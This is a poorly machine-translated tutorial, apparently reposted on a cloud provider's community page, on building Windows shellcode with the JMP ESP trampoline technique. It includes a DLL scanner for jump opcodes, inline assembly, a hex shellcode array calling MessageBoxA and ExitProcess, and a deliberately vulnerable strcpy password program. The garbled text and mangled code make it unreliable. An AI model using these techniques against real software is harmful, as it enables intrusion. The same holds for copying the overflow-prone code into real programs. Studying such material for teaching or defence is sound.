The Art of Developing shellcode

Source: Internet
Author: User

Professional terminology

  • ShellCode: It is actually a piece of code (or it can be filled with data)

  • Exploit: Attacks through shellcode and other methods to exploit vulnerabilities

Stack frame shift with JMP ESP

In general, the address in the ESP register always points to the system stack and is not corrupted by overflow data. When the function returns, the position that ESP refers to is exactly the next position of the return address that we flooded. Can be seen through the Od debugging.

  • Note: When the function returns, the location that ESP refers to is also related to the function calling convention and the return instruction. For example, when RETN 3 and RETN4 are returned, the location that the ESP points to will vary.

Because the ESP register is not controlled by the stack overflow after the function returns, and always points to the next position of the return address ,

We can use a "black technology" such as positioning Shellcode method to dynamically locate.

  • (1) Overwrite the return address of the function with any of the JMP ESP directives in memory, rather than the example in the "stack Overflow principle and implementation" above, to manually isolate the Shellcode starting address by OD.

  • (2) After the function is returned, it is redirected to execute the jum ESP instruction in memory instead of directly starting the execution of Shellcode.

  • (3) since ESP points to the stack when the function returns (after the function return address), after the JMP ESP instruction is executed, the processor will find the location after the return address of the stack function to fetch the command execution.

  • (4) Re-layout shellcode. After the flood function return address, continue to drown out a stack of space, the buffer in front of a section of arbitrary data to fill, the shellcode exactly placed in the function after the return address. This way, jmp

    After the ESP instruction executes, it jumps into the shellcode.

This method of locating Shellcode uses one of the JMP ESP directives in the process space as a " springboard ", which, regardless of how the stack frame is shifted, can accurately jump back to the stack area, adapting to the dynamic change of shellcode memory address in the program running.

1998, the hacker organization "Cult of the Dead Cow" Dlidog in the BUGTRQ mailing list for the first time Microsoft NetMeeting as an example of the use of JMP ESP to complete the dynamic positioning of shellcode, This solves the Windows stack

Frame shifting is a difficult problem for developing stable exploit. It is no exaggeration to say that springboard technology should be a milestone in the technology of Windows stack Overflow utilization.

Get the "Springboard" address

 1 #include <iostream> 2 #include <windows. H> 3 using namespace std;     4 5 int Main () 6 {7 byte* ptr = NULL; 8 int position = 0; 9 int address = 0;10 BOOL Bdone = false;11 HINSTANCE handle = LoadLibrary ("User32.dll"), and if (Handle==null) ("DLL Load failed!"); + exit (0);}18 ptr = (byte*) handle;20 for (position=0;!              bdone;position++) ({try24 {ptr[position]==0xff&&ptr[position+1]==0xe4) 26                 {//oxffe4 is a compilation instruction for jmp ESP, address = (int) PTR +position;29 printf ("The JMP address if 0x%x\n", address), break;31}32}34 catch (.. .) {$ address = (int) ptr +position;37 printf ("End of 0x%x\n", address); Bdon E = true;39}40}41 return 0;43} 

JMP ESP corresponds to the machine code is 0XFFE4, the function of the above program is from user32.dll in the memory of the base site to search backward 0xffe4, if found to return its memory pointer value.

This is the location of the springboard found through our code as follows:

Exploit with "Springboard" positioning

We use the above "springboard address" 0x777f305b as our instructions for executing jmp ESP, by obtaining the User32 and KERNEL32 base addresses, calculating the function addresses of MessageBoxA and ExitProcess, We began to build our shellcode.

#include <IOSTREAM> #include <windows.h>using namespace Std;int main () {    hinstance hlibrary = LoadLibrary ("User32.dll");    768c0000 kernel32.dll/*    Test     exitprocess (0) function is available with  its address 0x768c0000 kernel32.dll    _asm    {        xor  ebx,ebx        push ebx        mov  eax,0x768e9850 call        eax    }*/    _asm    {        xor  ebx , ebx        push ebx         push 0x74736577  //String        push 0x6c696166        mov  eax,esp        push ebx        push eax        push eax        push ebx        mov  eax,0x777d74c0//messageboxa call        eax        push ebx        mov  eax,0x768e9850//exitprocess call        eax    }    return 0;}

In order to extract the corresponding machine code, we will compile the above code with the VC compiled through the OD load debugging, get the assembly of the Machine code, machine code as follows:

Write code to a file by using the binary editor

  

We'll read the file, overflow through the stack, and put the shellcode in the right place.

#include <IOSTREAM> #include <windows.h>using namespace std; #define  Pass_word "1234567" int verify_ Password (char* password) {    int  authentitated;    Char szbuffer[44];    authentitated = strcmp (Password,pass_word);    strcpy (Szbuffer,password);    return authentitated;} int main () {    int valid_flag = 0;    Char password[1024] = {0};    file* FP;    Fp=fopen ("Password.txt", "rw+");        Hmodule h = LoadLibrary ("user32.dll");          printf ("%x\r\n", h);        0x77760000    //0x000774c0    //0x777d74c0  //messagebox address  in        //0x0018fa88//buffer if (fp==null)    {        exit (0);    }    FSCANF (FP, "%s", password);    Valid_flag = Verify_password (password);    if (Valid_flag)    {        printf ("Incorrect password!\r\n");    }    else    {        printf ("congratulation! You have passed the verification!\r\n ");    }    Fclose (FP);    return 0;}

Compile and run, found that the program is running normally, and the normal exit, we succeeded! The results will not work.

Buffer Organization

If JMP ESP is used as a springboard for locating shellcode, the buffer can be arranged flexibly based on the size of the buffer, the length of the desired shellcode, etc. after the function returns. The data that is fed into the buffer can be divided into the following types:

  • (1) Filler: can be any value, but generally with the NOP instruction corresponding to the 0x90 to fill the buffer, and the shellcode arranged in the following, so that even if it is not accurate to jump to the beginning of the Shellcode, as long as can jump into the filled area,
    The processor will eventually execute to Shellcode.

  • (2) Flood the data of the return address: it can be the address of the jump instruction, the starting address of the shellcode, or even an address of an approximate shellcode address.

  • (3) ShellCode: Executable machine code.

Wouldn't it be a problem for us to do this? If our shellcode exceeds the function return address will be the stack frame of the previous stack, we usually develop a useful shellcode that often takes hundreds of bytes, so that a wide range of destruction

The stack frame data may cause some other problems. For example, if you want to finish shellcode by repairing the register value, let the function return to continue executing the original program, you can not arbitrarily destroy the stack frame data.

Raise the top of the stack to protect shellcode

The placement of shellcode in the buffer zone has many advantages, but it can also cause problems. When the function returns, the current stack frame pops up, when the buffer is in the memory area above the stack top esp. Only changes the ESP register when the stack frame is ejected

, the data in the memory space that is logically above the ESP is invalidated, and the data is not physically destroyed. If there is no compression stack instruction in the Shellcode to write data to the stack, there is not much impact, but if the push instruction is used in the stack

Data, the stack data can be destroyed to shellcode itself.

When the buffer is larger than the shellcode, put the shellcode in the buffer "front" (Memory low address direction), which is shellcode away from the top of the stack, a few stacks can only destroy some NOP value;

By our shellcode, then the shellcode to be executed is closer to the top of the stack, and this is a dangerous situation. If there is a push stack operation that causes ESP to move in the low address direction, the shellcode we build will be compromised.

Therefore, in order to make the shellcode has a strong universality, we usually shellcode the beginning of the range to raise the top of the stack, the Shellcode hidden in the stack, so as to achieve the role of protection shellcode.

Process such as:

Use other Jump commands

Using JMP ESP as a springboard is the simplest and most commonly used method of locating shellcode. In the actual exploit process, attention should be paid to observe the value of all registers when the vulnerability function returns. In addition to ESP, EAX, EBX, ESI, etc.

The register also points to the top of the stack, so you can also be flexible when choosing a jump command, and in addition to the JMP ESP, mov eax, ESP, and jmp EAX can also be used to get into the stack.

The correspondence between the commonly used jump instruction and machine code:

You can use the program above to get the address of any of these jump instructions in the load module.

Loading and commissioning of Shellcode

The most common form of shellcode is to have a machine code in an array with a transfer character, such as the shellcode of a message box that we previously popped and the ability to exit the program into the following form.

#include <iostream>using namespace Std;int main () {    //777d74c0 768E9850    char shell_code[]=        "\x66\ x81\xec\x40\x04 "        \x33\xdb" "        \x53" "        \x68\x77\x65\x73\x74" "        \x68\x66\x61\x69\x6c"        "\x8b\xc4 "        \x53" "        \x50"        "\x50" "        \x53"        "\xb8\xc0\x74\x7d\x77"        "\xff\xd0"        "\x53" "        \xb8\x50\x98\x8e\x76" "        \xff\xd0";    _asm    {        Lea Eax,shell_code        push eax        ret    }    return 0;}

The RET instruction will push the shellcode in the stack position to the EIP, let the processor to jump past the execution of Shellcode, we can use this program to run the search shellcode, and debug it.

If the discovery cannot satisfy the demand, can revise on the original foundation, adds the function.

The Art of Developing shellcode

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.